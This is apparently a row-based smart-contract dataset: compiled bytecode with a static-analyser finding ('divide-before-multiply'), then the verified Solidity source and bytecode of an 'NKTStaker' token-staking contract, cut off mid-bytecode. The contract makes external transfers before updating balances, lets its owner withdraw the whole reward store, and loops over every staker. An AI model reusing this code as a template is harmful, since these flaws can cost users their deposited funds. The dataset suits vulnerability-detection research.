f16146117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa6578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118db57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a995760056001600580549050038154811061193757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196f57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5f57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa6565b80806001019150506118aa565b5050565b600033905090565b6000806000806000806000611ac688612361565b915091506000611ad46122ec565b90506000806000611ae68c86866123b3565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061222c565b905092915050565b600080828401905083811015611bd2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132c56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061320c6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132a06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131996023913960400191505060405180910390fd5b60008111611f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132776029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fdb5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff057611feb838383612411565b612227565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120935750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a8576120a3838383612664565b612226565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121615761215c8383836128b7565b612225565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122035750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221857612213838383612a75565b612224565b6122238383836128b7565b5b5b5b5b505050565b60008383111582906122d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229e578082015181840152602081019050612283565b50505050905090810190601f1680156122cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f9612d5d565b91509150612310818361231790919063ffffffff16565b9250505090565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613012565b905092915050565b600080600061238d600261237f60648761231790919063ffffffff16565b6130d890919063ffffffff16565b905060006123a48286611b0a90919063ffffffff16565b90508082935093505050915091565b6000806000806123cc85886130d890919063ffffffff16565b905060006123e386886130d890919063ffffffff16565b905060006123fa8284611b0a90919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061242286611ab2565b9450945094509450945061247e86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f5838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267586611ab2565b945094509450945094506126d185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276682600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fb84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612848838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c886611ab2565b9450945094509450945061292485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a06838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8686611ab2565b94509450945094509450612ae286600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0c82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ca184600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cee838261315e565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b600580549050811015612fc357826001600060058481548110612d9957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e805750816002600060058481548110612e1857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ea0576006546a52b7d2dcc80cd2e40000009450945050505061300e565b612f296001600060058481548110612eb457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0a90919063ffffffff16565b9250612fb46002600060058481548110612f3f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0a90919063ffffffff16565b91508080600101915050612d7a565b50612fe46a52b7d2dcc80cd2e400000060065461231790919063ffffffff16565b821015613005576006546a52b7d2dcc80cd2e400000093509350505061300e565b81819350935050505b9091565b600080831182906130be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613083578082015181840152602081019050613068565b50505050905090810190601f1680156130b05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130ca57fe5b049050809150509392505050565b6000808314156130eb5760009050613158565b60008284029050828482816130fc57fe5b0414613153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061322e6021913960400191505060405180910390fd5b809150505b92915050565b61317382600654611b0a90919063ffffffff16565b60068190555061318e81600754611b5490919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220834bdfc209b98adb2e9d9a8c62e1c46f5750e327898b23d0512c7436b210bf7d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,191 |
0x59a8978f87d76bac6e085d6e7d098ce5e10f9ed5 | /**
*Submitted for verification at Etherscan.io on 2020-11-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
abstract contract NKTContract {
function balanceOf(address account) external view virtual returns (uint256);
function transfer(address recipient, uint256 amount) external virtual returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool);
}
abstract contract NKTStoreContract {
function getStoreBalance() external virtual returns (uint256);
function giveReward(address recipient, uint256 amount) external virtual returns (bool);
function withdrawAll(address recipient) external virtual returns (bool);
}
contract NKTStaker is Ownable {
using SafeMath for uint256;
NKTContract private _mainTokenContract; // main token contract
NKTStoreContract private _storeWalletContract; // store wallet contract
mapping (address => uint256) private _stakedBalances; // map for stacked balances
mapping (address => uint256) private _rewards; // map for rewards
address private _devWallet; // dev wallet address
address[] private _stakers; // staker's array
uint256 private _totalStackedAmount = 0; // total stacked amount
uint256 private _minStakeAmount = 20e18; // min stackable amount
uint256 private _rewardPeriod = 3600; // seconds of a day
uint256 private _rewardPortion = 100; // reward portion = 1/100
uint256 private _rewardFee = 98; // reward fee 98%, rest for dev 2%
uint256 private _taxFee = 2; // tax fee for transaction
uint256 private _minRewardPeriod = 3600; // min reward period = 1 hour (3600s)
uint256 private _lastTimestamp; // last timestamp that distributed rewards
// Events
event Staked(address staker, uint256 amount);
event Unstaked(address staker, uint256 amount);
event Claim(address staker, uint256 amount);
constructor (NKTContract mainTokenContract, address devWallet) public {
_mainTokenContract = mainTokenContract;
_devWallet = devWallet;
}
function stake(uint256 amount) external {
require(
amount >= _minStakeAmount,
"Too small amount"
);
require(
_mainTokenContract.transferFrom(
_msgSender(),
address(this),
amount
),
"Stake failed"
);
uint256 taxAmount = amount.mul(_taxFee).div(100);
uint256 stackedAmount = amount.sub(taxAmount);
if(_stakers.length == 0)
_lastTimestamp = uint256(now);
if(_stakedBalances[_msgSender()] == 0)
_stakers.push(_msgSender());
_stakedBalances[_msgSender()] = _stakedBalances[_msgSender()].add(stackedAmount);
_totalStackedAmount = _totalStackedAmount.add(stackedAmount);
emit Staked(_msgSender(), stackedAmount);
}
function unstake(uint256 amount) external {
require(
_stakedBalances[_msgSender()] >= amount,
"Unstake amount exceededs the staked amount."
);
require(
_mainTokenContract.transfer(
_msgSender(),
amount
),
"Unstake failed"
);
_stakedBalances[_msgSender()] = _stakedBalances[_msgSender()].sub(amount);
_totalStackedAmount = _totalStackedAmount.sub(amount);
if(_stakedBalances[_msgSender()] == 0) {
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length-1];
_stakers.pop();
break;
}
}
}
emit Unstaked(_msgSender(), amount);
uint256 rewardsAmount = _rewards[_msgSender()];
if(rewardsAmount > 0) {
require(
_storeWalletContract.giveReward(_msgSender(), rewardsAmount),
"Claim failed."
);
_rewards[_msgSender()] = 0;
emit Claim(_msgSender(), rewardsAmount);
}
}
function claim(uint256 amount) external {
require(
_rewards[_msgSender()] >= amount,
"Claim amount exceededs the pendnig rewards."
);
require(
_storeWalletContract.giveReward(_msgSender(), amount),
"Claim failed."
);
_rewards[_msgSender()] = _rewards[_msgSender()].sub(amount);
emit Claim(_msgSender(), amount);
}
function endStake() external {
uint256 rewardsAmount = _rewards[_msgSender()];
if(rewardsAmount > 0) {
require(
_storeWalletContract.giveReward(_msgSender(), rewardsAmount),
"Claim failed."
);
_rewards[_msgSender()] = 0;
emit Claim(_msgSender(), rewardsAmount);
}
uint256 unstakeAmount = _stakedBalances[_msgSender()];
if(unstakeAmount > 0) {
require(
_mainTokenContract.transfer(
_msgSender(),
unstakeAmount
),
"Unstake failed"
);
_stakedBalances[_msgSender()] = 0;
_totalStackedAmount = _totalStackedAmount.sub(unstakeAmount);
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length-1];
_stakers.pop();
break;
}
}
emit Unstaked(_msgSender(), unstakeAmount);
}
}
function calcRewards() external {
uint256 currentTimestamp = uint256(now);
uint256 diff = currentTimestamp.sub(_lastTimestamp);
if(diff >= _rewardPeriod) {
uint256 rewardDays = diff.div(_rewardPeriod);
uint256 offsetTimestamp = diff.sub(_rewardPeriod.mul(rewardDays));
uint256 _storeBalance = _storeWalletContract.getStoreBalance();
for(uint j=0; j<rewardDays; j++) {
uint256 _totalRewardsAmount = _storeBalance.div(_rewardPortion);
if(_totalRewardsAmount > 0) {
uint256 _rewardForStaker = _totalRewardsAmount.mul(_rewardFee).div(100);
uint256 _rewardForDev = _totalRewardsAmount.sub(_rewardForStaker);
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] != address(0)) {
_rewards[_stakers[i]] = _rewards[_stakers[i]].add(_stakedBalances[_stakers[i]].mul(_rewardForStaker).div(_totalStackedAmount));
}
}
if(_rewardForDev > 0)
_storeWalletContract.giveReward(_devWallet, _rewardForDev);
}
_storeBalance = _storeBalance.sub(_totalRewardsAmount);
}
_lastTimestamp = currentTimestamp.sub(offsetTimestamp);
}
}
function withdrawAllFromStore(address recipient) external onlyOwner returns (bool) {
require(
recipient != address(0) && recipient != address(this),
"Should be valid address."
);
_storeWalletContract.withdrawAll(recipient);
}
/**
* Get store wallet
*/
function getStoreWalletContract() external view returns (address) {
return address(_storeWalletContract);
}
/**
* Get total stacked amount
*/
function getTotalStackedAmount() external view returns (uint256) {
return _totalStackedAmount;
}
/**
* Get reward amount of staker
*/
function getRewardOfAccount(address staker) external view returns (uint256) {
return _rewards[staker];
}
/**
* Get stacked amount of staker
*/
function getStakeAmountOfAccount(address staker) external view returns (uint256) {
return _stakedBalances[staker];
}
/**
* Get min stake amount
*/
function getMinStakeAmount() external view returns (uint256) {
return _minStakeAmount;
}
/**
* Get rewards period
*/
function getRewardPeriod() external view returns (uint256) {
return _rewardPeriod;
}
/**
* Get rewards portion
*/
function getRewardPortion() external view returns (uint256) {
return _rewardPortion;
}
/**
* Get last timestamp that countdown for rewards started
*/
function getLastTimestamp() external view returns (uint256) {
return _lastTimestamp;
}
/**
* Get staker count
*/
function getStakerCount() external view returns (uint256) {
return _stakers.length;
}
/**
* Get rewards fee
*/
function getRewardFee() external view returns (uint256) {
return _rewardFee;
}
/**
* Set store wallet contract address
*/
function setStoreWalletContract(NKTStoreContract storeWalletContract) external onlyOwner returns (bool) {
require(address(storeWalletContract) != address(0), 'store wallet contract should not be zero address.');
_storeWalletContract = storeWalletContract;
return true;
}
/**
* Set reward period
*/
function setRewardPeriod(uint256 rewardPeriod) external onlyOwner returns (bool) {
require(rewardPeriod >= _minRewardPeriod, 'reward period should be above min reward period.');
_rewardPeriod = rewardPeriod;
return true;
}
/**
* Set rewards portion in store balance.
* ex: 1000 => rewardsAmount of one period equals storeAmount.div(1000)
*/
function setRewardPortion(uint256 rewardPortion) external onlyOwner returns (bool) {
require(rewardPortion >= 1, 'reward portion should be above 1');
_rewardPortion = rewardPortion;
return true;
}
/**
* Set rewards portion for stakers in rewards amount.
* ex: 98 => 98% (2% for dev)
*/
function setRewardFee(uint256 rewardFee) external onlyOwner returns (bool) {
require(rewardFee >= 96 && rewardFee <= 100, 'reward fee should be in 96 ~ 100' );
_rewardFee = rewardFee;
_taxFee = uint256(100).sub(_rewardFee);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376289f38116100b8578063a1bae97f1161007c578063a1bae97f14610460578063a694fc3a146104aa578063adc89032146104d8578063bcee7612146104f6578063bec70c9f14610500578063d7da5e521461055c57610137565b806376289f381461034c5780637d6083491461036a5780637df8ce4b146103b0578063818a8ed71461040c5780638da5cb5b1461041657610137565b806330eff36b116100ff57806330eff36b14610244578063378997701461029c578063379607f5146102ba57806341a2ac70146102e8578063527cb1d71461032e57610137565b80630822c0691461013c5780631319649d1461019457806326da9141146101b25780632819a630146101d05780632e17de7814610216575b600080fd5b61017e6004803603602081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057a565b6040518082815260200191505060405180910390f35b61019c6105c3565b6040518082815260200191505060405180910390f35b6101ba6105d0565b6040518082815260200191505060405180910390f35b6101fc600480360360208110156101e657600080fd5b81019080803590602001909291905050506105da565b604051808215151515815260200191505060405180910390f35b6102426004803603602081101561022c57600080fd5b8101908080359060200190929190505050610710565b005b6102866004803603602081101561025a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6d565b6040518082815260200191505060405180910390f35b6102a4610eb6565b6040518082815260200191505060405180910390f35b6102e6600480360360208110156102d057600080fd5b8101908080359060200190929190505050610ec0565b005b610314600480360360208110156102fe57600080fd5b81019080803590602001909291905050506111d4565b604051808215151515815260200191505060405180910390f35b61033661134f565b6040518082815260200191505060405180910390f35b610354611359565b6040518082815260200191505060405180910390f35b6103966004803603602081101561038057600080fd5b8101908080359060200190929190505050611363565b604051808215151515815260200191505060405180910390f35b6103f2600480360360208110156103c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b5565b604051808215151515815260200191505060405180910390f35b610414611650565b005b61041e611b5c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610468611b85565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104d6600480360360208110156104c057600080fd5b8101908080359060200190929190505050611baf565b005b6104e0612000565b6040518082815260200191505060405180910390f35b6104fe61200a565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612676565b604051808215151515815260200191505060405180910390f35b6105646128fe565b6040518082815260200191505060405180910390f35b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600680549050905090565b6000600a54905090565b60006105e4612908565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600d54821015610700576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612c646030913960400191505060405180910390fd5b8160098190555060019050919050565b806003600061071d612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612c39602b913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6107f5612908565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b505050506040513d602081101561088957600080fd5b810190808051906020019092919050505061090c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f556e7374616b65206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b610965816003600061091c612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291090919063ffffffff16565b60036000610971612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109c48160075461291090919063ffffffff16565b6007819055506000600360006109d8612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b875760008090505b600680549050811015610b8557610a34612908565b73ffffffffffffffffffffffffffffffffffffffff1660068281548110610a5757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b7857600660016006805490500381548110610ab357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068281548110610aeb57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006805480610b3e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610b85565b8080600101915050610a1f565b505b7f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f75610bb0612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600060046000610c07612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610e6957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3610c93612908565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b505050506040513d6020811015610d2757600080fd5b8101908080519060200190929190505050610daa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600060046000610db8612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4610e1f612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e54905090565b8060046000610ecd612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612c94602b913960400191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3610fa5612908565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561100f57600080fd5b505af1158015611023573d6000803e3d6000fd5b505050506040513d602081101561103957600080fd5b81019080805190602001909291905050506110bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b61111581600460006110cc612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291090919063ffffffff16565b60046000611121612908565b